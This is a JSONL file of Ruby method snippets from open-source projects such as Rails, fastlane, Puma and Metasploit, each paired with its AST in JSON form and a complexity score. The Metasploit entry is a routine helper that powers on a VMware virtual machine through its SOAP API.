{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/application.rb","start_line":651,"raw_source":"def build_request(env)\n        req = super\n        env[\"ORIGINAL_FULLPATH\"] = req.fullpath\n        env[\"ORIGINAL_SCRIPT_NAME\"] = req.script_name\n        req\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"build_request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"req\",{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"ORIGINAL_FULLPATH\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"fullpath\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"ORIGINAL_SCRIPT_NAME\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"req\"]},\"script_name\"]}]},{\"type\":\"lvar\",\"children\":[\"req\"]}]}]}","id":"4d846ed5-5736-4942-8b3b-8b08c37691d3"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/build.rb","start_line":193,"raw_source":"def testing_status\n        testing ||= \"External\" if self.external_testing_enabled\n        testing ||= \"Internal\" if self.internal_testing_enabled\n\n        if Time.at(self.internal_expiry_date / 1000) > Time.now\n          testing ||= \"Inactive\"\n        else\n          testing = \"Expired\"\n        end\n\n        return testing\n      end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"testing_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"external_testing_enabled\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"testing\"]},{\"type\":\"str\",\"children\":[\"External\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"internal_testing_enabled\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"testing\"]},{\"type\":\"str\",\"children\":[\"Internal\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"at\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"internal_expiry_date\"]},\"/\",{\"type\":\"int\",\"children\":[1000]}]}]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"testing\"]},{\"type\":\"str\",\"children\":[\"Inactive\"]}]},{\"type\":\"lvasgn\",\"children\":[\"testing\",{\"type\":\"str\",\"children\":[\"Expired\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"testing\"]}]}]}]}","id":"2e25c6d9-92fa-409b-9cd1-d1c43dc0dec9"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/activerecord/polymorphic_routes_test.rb","start_line":655,"raw_source":"def with_test_routes(options = {})\n    with_routing do |set|\n      set.draw do\n        resources :projects do\n          resources :tasks\n          resource :bid do\n            resources :tasks\n          end\n        end\n        resources :taxes do\n          resources :faxes\n          resource :bid\n        end\n        resources :series\n        resources :model_delegates\n        namespace :foo do\n          resources :model_delegates\n        end\n      end\n\n      extend @routes.url_helpers\n      yield\n    end\n  end","complexity_score":32.8,"ast_json":"{\"type\":\"def\",\"children\":[\"with_test_routes\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_routing\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"set\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"projects\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"tasks\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\",{\"type\":\"sym\",\"children\":[\"bid\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"tasks\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"taxes\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"faxes\"]}]},{\"type\":\"send\",\"children\":[null,\"resource\",{\"type\":\"sym\",\"children\":[\"bid\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"series\"]}]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"model_delegates\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"namespace\",{\"type\":\"sym\",\"children\":[\"foo\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resources\",{\"type\":\"sym\",\"children\":[\"model_delegates\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"extend\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@routes\"]},\"url_helpers\"]}]},{\"type\":\"yield\",\"children\":[]}]}]}]}","id":"480c772e-e7b7-4541-8cd0-0a6e415bd110"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/destination/microsoft_excel/client.rb","start_line":71,"raw_source":"def get_table(token, drive_id, item_id, sheet_name)\n        table_url = format(MS_EXCEL_TABLE_API, drive_id: drive_id, item_id: item_id, sheet_name: sheet_name)\n        response = Multiwoven::Integrations::Core::HttpClient.request(\n          table_url,\n          HTTP_GET,\n          headers: auth_headers(token)\n        )\n        JSON.parse(response.body)[\"value\"].first\n      end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]},{\"type\":\"arg\",\"children\":[\"drive_id\"]},{\"type\":\"arg\",\"children\":[\"item_id\"]},{\"type\":\"arg\",\"children\":[\"sheet_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"table_url\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MS_EXCEL_TABLE_API\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"drive_id\"]},{\"type\":\"lvar\",\"children\":[\"drive_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"lvar\",\"children\":[\"item_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sheet_name\"]},{\"type\":\"lvar\",\"children\":[\"sheet_name\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Multiwoven\"]},\"Integrations\"]},\"Core\"]},\"HttpClient\"]},\"request\",{\"type\":\"lvar\",\"children\":[\"table_url\"]},{\"type\":\"const\",\"children\":[null,\"HTTP_GET\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[null,\"auth_headers\",{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"body\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]},\"first\"]}]}]}","id":"921b3222-68b3-4a70-87b1-d65108bbc810"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/foreign_key_test.rb","start_line":299,"raw_source":"def test_add_on_delete_restrict_foreign_key\n          @connection.add_foreign_key :astronauts, :rockets, column: \"rocket_id\", on_delete: :restrict\n\n          foreign_keys = @connection.foreign_keys(\"astronauts\")\n          assert_equal 1, foreign_keys.size\n\n          fk = foreign_keys.first\n          if current_adapter?(:Mysql2Adapter, :TrilogyAdapter)\n            # ON DELETE RESTRICT is the default on MySQL\n            assert_nil fk.on_delete\n          else\n            assert_equal :restrict, fk.on_delete\n          end\n        end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_add_on_delete_restrict_foreign_key\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_foreign_key\",{\"type\":\"sym\",\"children\":[\"astronauts\"]},{\"type\":\"sym\",\"children\":[\"rockets\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"str\",\"children\":[\"rocket_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"restrict\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"foreign_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"foreign_keys\",{\"type\":\"str\",\"children\":[\"astronauts\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foreign_keys\"]},\"size\"]}]},{\"type\":\"lvasgn\",\"children\":[\"fk\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"foreign_keys\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_adapter?\",{\"type\":\"sym\",\"children\":[\"Mysql2Adapter\"]},{\"type\":\"sym\",\"children\":[\"TrilogyAdapter\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"on_delete\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"sym\",\"children\":[\"restrict\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fk\"]},\"on_delete\"]}]}]}]}]}","id":"06fb9ef0-ffcb-4feb-a2f0-a11d01dd5b12"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/lib/captain/llm_service.rb","start_line":36,"raw_source":"def handle_tool_calls(response)\n    tool_call = response['choices'][0]['message']['tool_calls'][0]\n    {\n      tool_call: tool_call,\n      output: nil,\n      stop: false\n    }\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_tool_calls\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tool_call\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"choices\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"str\",\"children\":[\"message\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"tool_calls\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tool_call\"]},{\"type\":\"lvar\",\"children\":[\"tool_call\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"output\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stop\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"031e9fee-809a-4a5b-87e7-0c0ce13700fc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/vim_soap.rb","start_line":512,"raw_source":"def vim_powerON_vm(vm_ref)\n    soap_data = vim_soap_envelope(vim_soap_power_on_vm(vm_ref))\n    res = vim_send_soap_request(soap_data)\n    if res.class == Hash\n      task_id = res['PowerOnVM_TaskResponse']['returnval']\n    else\n      return res\n    end\n\n    state= \"running\"\n    while state == \"running\"\n      soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Task', task_id))\n      res = vim_send_soap_request(soap_data)\n      if res.class == Hash\n        state = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['state']\n        case state\n        when 'running'\n          select(nil, nil, nil, 5)\n        when 'error'\n          if res['RetrievePropertiesResponse']['returnval']['propSet']['val']['error']['fault']['existingState'] == 'poweredOn'\n            return 'alreadyON'\n          end\n        end\n      else\n        return res\n      end\n    end\n    return state\n  end","complexity_score":61.85,"ast_json":"{\"type\":\"def\",\"children\":[\"vim_powerON_vm\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"vm_ref\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"soap_data\",{\"type\":\"send\",\"children\":[null,\"vim_soap_envelope\",{\"type\":\"send\",\"children\":[null,\"vim_soap_power_on_vm\",{\"type\":\"lvar\",\"children\":[\"vm_ref\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"vim_send_soap_request\",{\"type\":\"lvar\",\"children\":[\"soap_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"class\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"lvasgn\",\"children\":[\"task_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PowerOnVM_TaskResponse\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"returnval\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"str\",\"children\":[\"running\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},\"==\",{\"type\":\"str\",\"children\":[\"running\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"soap_data\",{\"type\":\"send\",\"children\":[null,\"vim_soap_envelope\",{\"type\":\"send\",\"children\":[null,\"vim_soap_retrieve_properties\",{\"type\":\"str\",\"children\":[\"info\"]},{\"type\":\"str\",\"children\":[\"Task\"]},{\"type\":\"lvar\",\"children\":[\"task_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"vim_send_soap_request\",{\"type\":\"lvar\",\"children\":[\"soap_data\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"class\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"state\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RetrievePropertiesResponse\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"returnval\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"propSet\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"val\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"state\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"running\"]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"error\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RetrievePropertiesResponse\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"returnval\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"propSet\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"val\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"error\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"fault\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"existingState\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"poweredOn\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"alreadyON\"]}]},null]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"state\"]}]}]}]}","id":"d7a3065c-39c5-451f-bf47-a199e663eaa4"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/tasks/model_attribute_override.rb","start_line":3,"raw_source":"def model_attributes(model, ignored_tables, ignored_cols)\n      return [] if model.abstract_class? && Rails::VERSION::MAJOR < 3\n\n      if model.abstract_class?\n        model.direct_descendants.reject { |m| ignored?(m.table_name, ignored_tables) }.inject([]) do |attrs, m|\n          attrs.push(model_attributes(m, ignored_tables, ignored_cols)).flatten.uniq\n        end\n      elsif !ignored?(model.table_name, ignored_tables) && @existing_tables.include?(model.table_name)\n        model.virtual_attribute_names +\n          model.columns.reject { |c| ignored?(c.name, ignored_cols) }.collect { |c| c.name }\n\n      else\n        []\n      end\n    end","complexity_score":47.43,"ast_json":"{\"type\":\"def\",\"children\":[\"model_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"ignored_tables\"]},{\"type\":\"arg\",\"children\":[\"ignored_cols\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"abstract_class?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"VERSION\"]},\"MAJOR\"]},\"<\",{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"abstract_class?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"direct_descendants\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[null,\"ignored?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"ignored_tables\"]}]}]},\"inject\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attrs\"]},{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"push\",{\"type\":\"send\",\"children\":[null,\"model_attributes\",{\"type\":\"lvar\",\"children\":[\"m\"]},{\"type\":\"lvar\",\"children\":[\"ignored_tables\"]},{\"type\":\"lvar\",\"children\":[\"ignored_cols\"]}]}]},\"flatten\"]},\"uniq\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignored?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"table_name\"]},{\"type\":\"lvar\",\"children\":[\"ignored_tables\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@existing_tables\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"table_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"virtual_attribute_names\"]},\"+\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"columns\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[null,\"ignored?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]},{\"type\":\"lvar\",\"children\":[\"ignored_cols\"]}]}]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"name\"]}]}]},{\"type\":\"array\",\"children\":[]}]}]}]}]}","id":"484531a8-d079-4d54-a9b5-30724caaae68"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/resources_test.rb","start_line":573,"raw_source":"def test_singleton_resource_with_member_action\n    [:patch, :put, :post].each do |method|\n      with_routing do |set|\n        set.draw do\n          resource :account do\n            match :reset, on: :member, via: method\n          end\n        end\n\n        reset_options = { action: \"reset\" }\n        reset_path    = \"/account/reset\"\n        assert_singleton_routes_for :account do |options|\n          assert_recognizes(options.merge(reset_options), path: reset_path, method: method)\n        end\n\n        assert_singleton_named_routes_for :account do\n          assert_named_route reset_path, :reset_account_path, reset_options\n        end\n      end\n    end\n  end","complexity_score":23.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_singleton_resource_with_member_action\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"patch\"]},{\"type\":\"sym\",\"children\":[\"put\"]},{\"type\":\"sym\",\"children\":[\"post\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_routing\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"set\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"set\"]},\"draw\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\",{\"type\":\"sym\",\"children\":[\"account\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"match\",{\"type\":\"sym\",\"children\":[\"reset\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on\"]},{\"type\":\"sym\",\"children\":[\"member\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"via\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reset_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"reset\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reset_path\",{\"type\":\"str\",\"children\":[\"/account/reset\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_singleton_routes_for\",{\"type\":\"sym\",\"children\":[\"account\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_recognizes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"reset_options\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"reset_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_singleton_named_routes_for\",{\"type\":\"sym\",\"children\":[\"account\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_named_route\",{\"type\":\"lvar\",\"children\":[\"reset_path\"]},{\"type\":\"sym\",\"children\":[\"reset_account_path\"]},{\"type\":\"lvar\",\"children\":[\"reset_options\"]}]}]}]}]}]}]}","id":"533ca9b1-dbe7-472e-a347-9e1b5bcd8c00"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_minissl.rb","start_line":33,"raw_source":"def test_raises_with_unreadable_key_file\n      ctx = Puma::MiniSSL::Context.new\n\n      File.stub(:exist?, true) do\n        File.stub(:readable?, false) do\n          exception = assert_raises(ArgumentError) { ctx.key = \"/unreadable/key\" }\n          assert_equal(\"Key file '/unreadable/key' is not readable\", exception.message)\n        end\n      end\n    end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_raises_with_unreadable_key_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ctx\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"MiniSSL\"]},\"Context\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"exist?\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"readable?\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exception\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raises\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ctx\"]},\"key=\",{\"type\":\"str\",\"children\":[\"/unreadable/key\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Key file '/unreadable/key' is not readable\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"message\"]}]}]}]}]}]}]}","id":"8c9f4ab2-d45d-4f4e-8ad7-0e80372eb271"}
